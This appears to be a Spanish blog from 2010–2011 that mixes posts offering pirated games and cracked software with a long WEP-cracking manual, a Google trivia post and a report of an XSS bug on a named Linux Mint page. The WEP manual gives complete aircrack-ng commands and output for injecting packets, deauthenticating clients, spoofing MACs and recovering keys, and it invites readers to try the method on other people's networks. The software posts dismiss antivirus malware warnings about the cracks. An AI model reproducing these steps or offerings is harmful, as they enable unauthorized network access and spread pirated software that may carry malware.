lunes, 10 de enero de 2011

Assassin’s Creed II [Español] [Full] [+Medicina +Fix] [MU]

Ezio está aquí para ocupar el lugar del memorable Altair, y Assassin’s Creed II llega con la intención de mejorar su sensacional primera parte. ¿Lo consigue? Ubisoft ya consiguió insuflar variedad a la rígida fórmula del primer título en su lanzamiento en consolas en 2009, y ahora logra también en PC una secuela superior en la mayoría de los aspectos.
Lanzado hace ya dos años, el primer capítulo de las series Assassin’s Creed fue un videojuego memorable, un título único y genuino que logró fenomenales resultados con su singular fórmula de acción, aventuras y plataformas. La polémica, no obstante, también salpicó a un videojuego que dividió a los aficionados entre quienes se rindieron a su incuestionable calidad, y entre los que consideraron que su patrón jugable era excesivamente repetitivo.
En Ubisoft, conscientes de que con una continuación el nivel de exigencia es todavía más fuerte, decidieron el año pasado tomar nota de las quejas del aficionado para pulir la receta Assassin’s Creed e insuflarle una enorme diversidad. Nuevas misiones, un combate tremendamente fluido y mucho más orgánico, y una sensación general de que siguiendo esta línea de incorporaciones y cambiando constantemente de época y telón de fondo la franquicia puede seguir atesorando idénticas cotas de calidad durante años, para tranquilidad del usuario.
Sin embargo la continuación no sólo dedicó sus esfuerzos a añadir conceptos y mejoras, sino que también buscó y consiguió hacer más sólidos los pilares que engrandecieron al original. Nuevo personaje con idéntico carisma, guión igual de absorbente pero con mucho más peso y, nuevamente, un énfasis en el contexto histórico que en esta ocasión se ve severamente potenciado por la intención de Ubisoft de sacar partido de la riqueza de la época a través de nuevas y fascinantes formas.
Assassin’s Creed II se lanzó en PlayStation 3 y Xbox 360 en noviembre de 2009, y ahora cuatro meses después le toca el turno a su versión de compatibles. Sus principales reclamos son un apartado gráfico mejorado y también la incorporación de contenidos que en consolas han sido vendidos a parte como descargables. Si no disfrutaste de uno de los mejores videojuegos de 2009 ahora, en 2010 y en compatibles, tienes la oportunidad de hacerlo como una saga como esta se merece.
Información Básica
Plataforma: PC
Número de jugadores: 1
Género: Acción, Aventura
Ficha Técnica
Formato: ISO [DVD9] / RAR [68 partes]
Tamaño: 6.79 GB (6.28 GB comprimido en RAR)
Idioma: Español (Multi5)
Incluye: Crack y Fix para poder avanzar de la penúltima misión
Requisitos Mínimos del Sistema
Sistemas Operativos Soportados: Windows XP (32-64 bits) /Windows Vista (32-64 bits)/Windows 7 (32-64 bits)
MicroProcesador: Intel Core 2 Duo 1.8 GHZ o AMD Athlon X2 64 2.4GHZ
RAM: 1.5 GB Windows XP / 2 GB Windows Vista – Windows 7
Tarjeta Gráfica: 256 MB DirectX 9.0-compatible con Shader Model 3.0 o superior (ver lista de tarjetas soportadas)
Tarjeta de Sonido: Compatible con DirectX 9.0
Versión de DirectX: DirectX 9.0
Espacio en Disco Duro: 8 GB
Periféricos recomendados: Teclado, ratón, pad (Xbox 360 para Windows recomendado)
Mi sistema 59.9 – 60 FPS
Sistema Operativo: Windows 7
MicroProcesador: Intel Dual Core E5300 Series (2.6 GHz)
Memoria: 4GB
Disco Duro: (No es necesario especificar)
Tarjeta Gráfica: 512MB NVIDIA GeForce 250GTS GDDR3
Tarjeta de Audio: DirectX 9.0c-compatible
Capturas







http://lik.cl/?http://jdownloader.org/download

sábado, 20 de noviembre de 2010

Platinum Hide IP 3.0.4.8






¿Te preocupa el tema de la privacidad en internet? ¿Quieres ocultar tu IP mientras navegas?

Con Hide IP lo conseguirás simplemente con tener el programa activo mientras navegas por internet (un icono en la barra de tareas nos lo indicará).

Activando Hide IP consigues: Evitar que las webs que visitas te monitoricen a través de tu IP fija, evitar que tu información personal sea usada para que te envíen Spam, proteger tu PC del ataque de hackers,…

El programa no sólo muestra una IP diferente, sino que esta se modifica (automática o manualmente) mientras navegamos para evitar un seguimiento.


Idioma: Multilenguaje
Medicina incluida
Peso:5,17 Mb



Recuerden que las medicinas son detectados por los AV como malware. TOTALMENTE limpio.

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viernes, 1 de octubre de 2010

Manual para hackear una red wifi

Con este manual intentaremos demostraros lo fácil que es que os rompan la clave WEP de vuestra red inalámbrica. Hablaremos de como realizar este hack con inyección de paquetes ARP con la tarjeta Intel 3945 ABG, posibles errores y como no, posibles soluciones. También lo he conseguido con las tarjetas con chipset Zydas.

Por daros una idea de lo simple que es, a una distancia medio razonable, un par de centenar de metros, una conexión de un cliente autenticado y unos 10 minutos nos bastarán para hackear cualquier WEP de cualquier longitud, a mayor longitud de clave WEP algo más de tiempo.
Sin más pongamonos manos a la obra:­
Para el experimento hemos utilizado la distribución en CD LIVE de www.seguridadwireless.net concretamente la distribución se llama wifiway 0.6 (ya existe la versión 0.8, si alguien prueba con ella que nos cuente) y podemos descargarla de estos dos sitios, recomiendo el segundo (bastante más rápido):
ftp://files.tuto-fr.com:8080/distro/wifiway-0.6.iso
http://www.comprawifi.net/public/wifiway/0.6/wifiway-0.6.iso
Una vez que tenemos descargada y quemada la nueva distribución la meteremos en nuestro portatil, debe tener la tarjeta Intel 3945 ABG con la que seremos capaces de inyectar paquetes, lo bueno de esta tarjeta es que a día de hoy viene en un montón de portátiles.
El fallo que le he visto a la distribución es que debemos saber de antemano cual será nuestro objetivo, ya que una vez que entramos a WifiWay 0.6 debemos saber el canal que queremos atacar. Podemos por ejemplo saber esto con swscanner (netstumbler para linux, de Ivan Forcada) o con netstumbler (para windows), una vez que tenemos el canal del objetivo arrancamos WifiWay.
Despues de haberle dicho nuestra zona de tiempo y nuestro idioma, nos dejara en una consola, pulsad ahí “startx”, nos arrancara las X de la distribución.
Lo curioso de la distribución es que divide la tarjeta Intel 3945 ABG en dos interfaces, la rtap0 para escuchar en modo monitor y la wifi0 para inyectar código al AP Objetivo.
Como ya sabemos el canal del objetivo es hora de lanzar el script que nos trae para la configuración de nuestra tarjeta, abriremos una consola y teclearemos:
wifiway:/# ipw3945_es.sh
Nos preguntará el canal, el que hayamos sacado con swscanner
No preguntará el Rate de captura, siempre a 2
Y por ultimo la MAC del AP Objetivo: yo aquí de primeras le doy la 00:11:22:33:44:55
Ahora lanzamos en la misma consola:
wifiway:/# airodump-ng rtap0
CH  9 ][ Elapsed: 4 s ][ 2007-02-25 16:47

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:09:5B:1C:AA:1D   11  16       10        0    0  11  54. OPN              NETGEAR
00:14:6C:7A:41:81   34 100       57       14    1   9  11  WEP  WEP         bigbear

BSSID              STATION            PWR  Lost  Packets  Probes

00:14:6C:7A:41:81  00:0F:B5:32:31:31   51     2       14
(not associated)   00:14:A4:3F:8D:13   19     0        4  mossy
00:14:6C:7A:41:81  00:0C:41:52:D1:D1   -1     0        5
Debemos apuntar (o copiar seleccionando, para los no iniciados en linux, copiar se hace simplemente seleccionando y pegar con los dos botones a la vez del ratón) la MAC del AP Objetivo y su ESSID.
Lancemos de nuevo el script para la tarjeta Intel 3945 ABG, pero esta vez diciéndole la MAC del AP de verdad:
wifiway:/# ipw3945_es.sh
Canal: El correspondiente al AP Objetivo
Rate : 2
MAC : MAC del AP Objetivo
Ya tenemos preparada la tarjeta para empezar a inyectar código, tecleando en la misma consola los siguientes códigos, mandaremos con nuestra Intel 3945 ABG un paquetito de asociación al AP Objetivo:

wifiway:/# aireplay-ng -1 0 -e ESSID_AP -a MAC_AP -h NUESTRA_MAC wifi0

18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)

Acabamos de ver que se ha autenticado contra el AP, es decir aceptará todo lo que le mandemos siempre y cuando vaya encriptado con la wep, lo que haremos ahora será capturar paquetes encriptados y reenviarlos de nuevo al AP, previa copia en nuestro disco duro para posterior análisis:
wifiway:/# aireplay-ng -3 -b MAC_AP -h NUESTRA_MAC wifi0
Saving ARP requests in replay_arp-0219-123051.cap
You should also start airodump-ng to capture replies.
Read 11978 packets (got 7193 ARP requests), sent 3902 packets...

Ahora es momento de abrir otra consola y poner a capturar a airodump:
wifiway:/# airodump-ng -w /tmp/dump rtap0
CH  9 ][ Elapsed: 4 s ][ 2007-02-25 16:47

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:09:5B:1C:AA:1D   11  16       10        0    0  11  54. OPN              NETGEAR
00:14:6C:7A:41:81   34 100       57       14    1   9  11  WEP  WEP         bigbear

BSSID              STATION            PWR  Lost  Packets  Probes

00:14:6C:7A:41:81  00:0F:B5:32:31:31   51     2       14
(not associated)   00:14:A4:3F:8D:13   19     0        4  mossy
00:14:6C:7A:41:81  00:0C:41:52:D1:D1   -1     0        5
Vale debemos esperar a que la primera consola, en la que está corriendo el aireplay -3 a que capture algún paquete ARP y en cuanto lo haga empezará a inyectar para generar tráfico encriptado con la clave WEP del AP Objetivo. En cuanto esto ocurra en la segunda consola, en la que esta corriendo airodump, empezaremos a ver como el numero de paquetes DATA del Ap Objetivo empieza a subir.
Cuando debemos parar, buena pregunta, para claves de 64 bits con 200.000 paquetes DATA será suficiente, para claves de 128 bits, unos 400.000.... Como no sabemos de que tamaño es la clave podemos esperar a tener 200.000 DATA y en una tercera consola, sin parar ninguna de las otras dos, ejecutar:
wifiway:/# aircrack-ptw /tmp/dump-01.cap
This is aircrack-ptw 1.0.0
For more informations see http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
allocating a new table
bssid = 00:19:5B:97:F3:64 keyindex=0
stats for bssid 00:19:5B:97:F3:64 keyindex=0 packets=21938
Found key with len 13: 44 44 44 44 44 44 44 44 44 44 44 44 44

Si nos da la clave ya podremos parar las otras consolas, si aun no nos la da seguiremos esperando.....
10 minutos despues...............
Seguro que ya la tenemos.
Con el Chipset de Zydas (Añadido el 9-Octubre-2007)

Con el chipset de Zydas es incluso más simple, no necesitaremos lanzar ningun script, directamente nos escuchara en todos los canales y autonegociará el Rate.
Debemos seguir todas las instrucciones que se siguen para el driver de Intel, dejar claro que el driver de Zydas NO divide la interfaz en rtap y wifi0. Nos lo dejara como eth2 o eth1, dependiendo de las interfaces que tengamos. Utilizaremos para todo la misma interfaz, la que tenga nuestra tarjeta con driver Zydas.
Problemas con los que nos podemos encontrar:
NO TENGO ESPACIO EN /tmp/:
Como os he dicho una vez que alguien conecte a ese AP lo tendremos en cuestión de 10 minutos, pero hasta que alguien conecte pueden pasar horas incluso días, el problema que nos encontramos al lanzar airodump-ng -w /tmp/dump rtap0 es que tenemos poco espacio, no hay problema WifiWay monta por defecto nuestras particiones NTFS o FAT32, las deja en /mnt/sda.... Lancemos (en mi caso, tengo una carpeta llamada comparto en mi segunda particion NTFSm ahí si que hay gigas):
wifiway:/# airodump-ng -w /mnt/sda5/comparto/dump rtap0
Con esto podemos esperar hasta semanas a que el AP Objetivo reciba una conexión.
NO ASOCIA CON aireplay-ng -1 0
Muy bien se puede deber a un par de cosas, por lo que a mi me ha ocurrido.
No tenemos la señal suficiente (esto deberiamos saberlo con swscanner o netstumbler), sigue intentandolo, pero te aseguro que la distancia es importante, despues lo tendrás bastante fastidiado en la inyección de paquetes, veras que no suben :-(, intenta acercarte.
Si estas seguro de tener señal suficiente, entonces seguramente el AP tenga Filtro MAC, no ocurre nada, podremos HAckearlo exactamente igual, con un par de trucos:
Si os fijáis airodump tiene dos apartados, uno para APS Objetivos (la parte de arriba) y otra parate de clientes conectados (la de abajo), cuestión de esperar a que un cliente con una mac valida se conecte al AP Objetivo y genere trafico, de esta forma sabremos que la MAC es valida para el AP, copiaremos esa MAC y cambiaremos la nuestra por la del cliente con este código:
wifiway:/# ifconfig wifi0 hw ether MAC_CLIENTE_AUTENTICADO
Ahora debemos comenzar el proceso exactamente igual pero poniendo nuestra "nueva" MAC.
INYECTA ARP PERO NO SUBEN LOS DATA
Casi seguro que es por distancia, en un par de experimentos me ha ocurrido eso, no sube o sube muy lento en relación con los paquetes ARP inyectados, es cuestión de distancia, los paquetes enviados al AP no le llegan.
Mi consejo es que vayáis probando con la vuestra y luego con alguna otra ;-)
Si alguien tiene algún problema más que lo vaya escribiendo en el FORO e iremos intentando resolver todas las dudas.
El caso es que el AP al que estamos conectandonos nos desautentica, se soluciona volviendo a asociarse con:
wifiway:/# aireplay-ng -1 0 -e ESSID_AP -a MAC_AP -h NUESTRA_MAC wifi0
Podemos utilizar el truco de Tase, podemos poner en la linea de comando lo siguiente:
wifiway:/# while [true] do aireplay-ng -1 0 -e ESSID_AP -a MAC_AP -h NUESTRA_MAC wifi0; sleep 180 done
HAY DATA PERO NO ARP
Esto se debe a que cuando te has puesto a inyectar paquetes el cliente ya estaba conectado y no genera paquetes ARP, hay dos soluciones, una es esperar a que vuelva a conectarse y otra segunda es enviar un paquete de falsa desautenticación al AP para que desconecte al cliente que está asociado y de esa forma el cliente tenga que volver a asociarse, generando de esta forma paquetes ARP para su posterior inyección, para hacerlo debemos teclear en una consola nueva lo siguiente, sin cancelar ninguna de las otras (bendito aireplay-ng ;-)):
wifiway:/# aireplay-ng -0 1 -a MAC_AP -c MAC_CLIENTE_A_DESAUTENTICAR wifi0
CONVERSOR UNIVERSAL DE CODIFICACIONES
He puesto en Improvisa un Conversor Universal para pasar de cualquier código a cualquier código, por si alguien quiere cambiar la clave de HEX. (que es como nos la va a dar aircrack-ptw) a ASCII, podeis visitarlo aquí, tambien en la sección de Informática en el árbol de la izquierda.
Conversor Universal en Improvisa
SOLUCIONES PARA ASEGURAR NUESTRA WIFI:
Utilicemos, si nos es posible, WPA, bastante mas difícil de hackear (también es posible, a lo mejor el próximo experimento es con WPA).
Utiliza cable, no se porque pero los que conocen un poquitín el mundo del wifi siempre intentan tener cable ;-)
La que mas me gusta es, comparte la wifi, la mayoría de nosotros estamos obsesionados con que no nos entren en la wifi, pero ¿por que?, podemos montarnos un NoCatSplash, la gente entrará a nuestra wifi con un ancho de banda máximo y encima le recibiremos con una pagina del tipo: "Está usted navegando gracias a la wifi del Vecino del 3º F, no me cobren la comunidad" o alguna gracias de esas ;-). Para montar NoCATSpalsh necesitaremos un Openwrt, y un hardware que lo soporte, unos 60 euros. Si no queremos gastarnos nada y tenemos un servidor también podemos hacerlo con Squid y CAPO, un plugin para Squid que funciona igual que NoCatSplash. Estas dos técnicas son las que utilizamos en la Red Inalámbrica de Guadalajara GuadaWireless.

                                        DK Team.

jueves, 30 de septiembre de 2010

Curiosidades de Google

Curiosidades de Google

El primer gran éxito, es indudablemente su buscador, el que siempre ha sido la herramienta principal de la empresa. Su velocidad y capacidad para indexar contenidos, además de la constante renovación, le ha otorgado el lugar nº1 entre los motores de búsquedas existentes en el mundo.
28 Sep 2010 | LA FLECHA, AGENCIAS
- Google AdWords y Google AdSense también son parte de sus éxitos. Mientras el primero es ideal para aquellos que desean hacer publicidad en el buscador, el segundo permite que las páginas webs ganen dinero mostrando avisos patrocinados por Google. Esto es valiosísimo para la compañia, pues obtiene el 90% de sus ganancias por conceptos publicitarios.
- Asimismo, la gran cantidad de herramientas cibernéticas como Google Maps, Gmail, Reader, Blogger o el navegador Chrome, le han dado un lugar importante en la red.
Los fracasos:
- Google Wave. Esta herramienta presentada el año pasado pretendía revolucionar la comunicación y el trabajo en equipo en forma online. Sin embargo, no despertó el interés deseado y agonizó rápidamente.
- Otro fracaso fue Google Answers, un servicio parecido a Yahoo! Answers. Nunca despegó, pues no tenía entre sus objetivos crear comunidad.
- Google Video y SearchWiki. El primero murió definitivamente y la compañía optó por adquirir Youtube. El segundo también pasó a la historia, ya que no fue del todo comprendido.
Cifras:
-De acuerdo a un análisis realizado en mayo de 2010, Google posee el 84,77% de las búsquedas que se realizan en Internet. Le sigue Yahoo! con un 6.17%.
- Google.com tiene 7.200 millones de páginas vistas diariamente y 620 millones de visitantes cada día. En un mes logran 87.800 millones de búsquedas en los sitios de Google.
- Sus ingresos en 2009 fueron de 23.651 millones de dólares y sus beneficios netos, 6.520 millones de dólares
- Procesan 20PB de datos al día.
- 20 horas de video diarias se suben por minuto a YouTube
- 270.000 palabras por minuto se escriben en Blogger.
Curiosidades:
-Google ha sido revolucionario también como empresa. No sólo destaca por su política de negocios, sino que además por su acogedor ambiente de trabajo, con muchas regalías para los empleados.
- Google debe su nombre a 10 googol -gúgol en español-: 10 veces el resultado de 10 elevado a 100 (10100) es decir, un número que representa casi el infinito y que para la compañía simboliza el objetivo de poder organizar una inmensa cantidad de información disponible en Internet.
- Su página es tan sencilla porque los fundadores no sabían mucho de HTML y también porque querían que cargara rápido.
- El botón "Voy a tener suerte" lo mantienen, pese a que nadie lo usa, porque creen que es más cercano a los usuarios.
-Google usa la regla 20%, esto quiere decir que si al menos un 20% usa una función, se incluye.
-La empresa utilizó Gmail internamente durante 2 años antes de lanzarlo al público.
-Sus trabajadores tienen un 20% de su tiempo para desarrollar sus propios programas.

Fuente: http://www.laflecha.net/canales/curiosidades/noticias/curiosidades-de-google

recopilación de paginas FAKE ( No entrar )

martes, 28 de septiembre de 2010

Vulnerabilidad Cross-Site-Scripting en Web de Linux Mint

Bueno pues, como dice el título encontré una vulnerabilidad en la web oficial de Linux Mint.

FPD & XSS.

Dejo Ficha técnica:


Descubridor: Dragos
Sitio: http://packages.linuxmint.com
Directorio: ./
Archivo Vulnerable: list.php
Variable Afectada: release
Bug: Inyección FPD [Full Path Disclousure] / XSS [Cross-Site-Scripting]

Proof Of Concept: here
Ruta del servidor: /var/www/packages.linuxmint.com/htdocs
SO: Windows Linux xDDDD
Server: lighttpd/1.4.26

Reporté  el bug en el foro de Linux Mint, otra cosa es que me hagan caso.... xD

By Drag0s.

Font: http://foro.rthacker.net/nivel-web/()-reporte-de-bugs/msg19309/#msg19309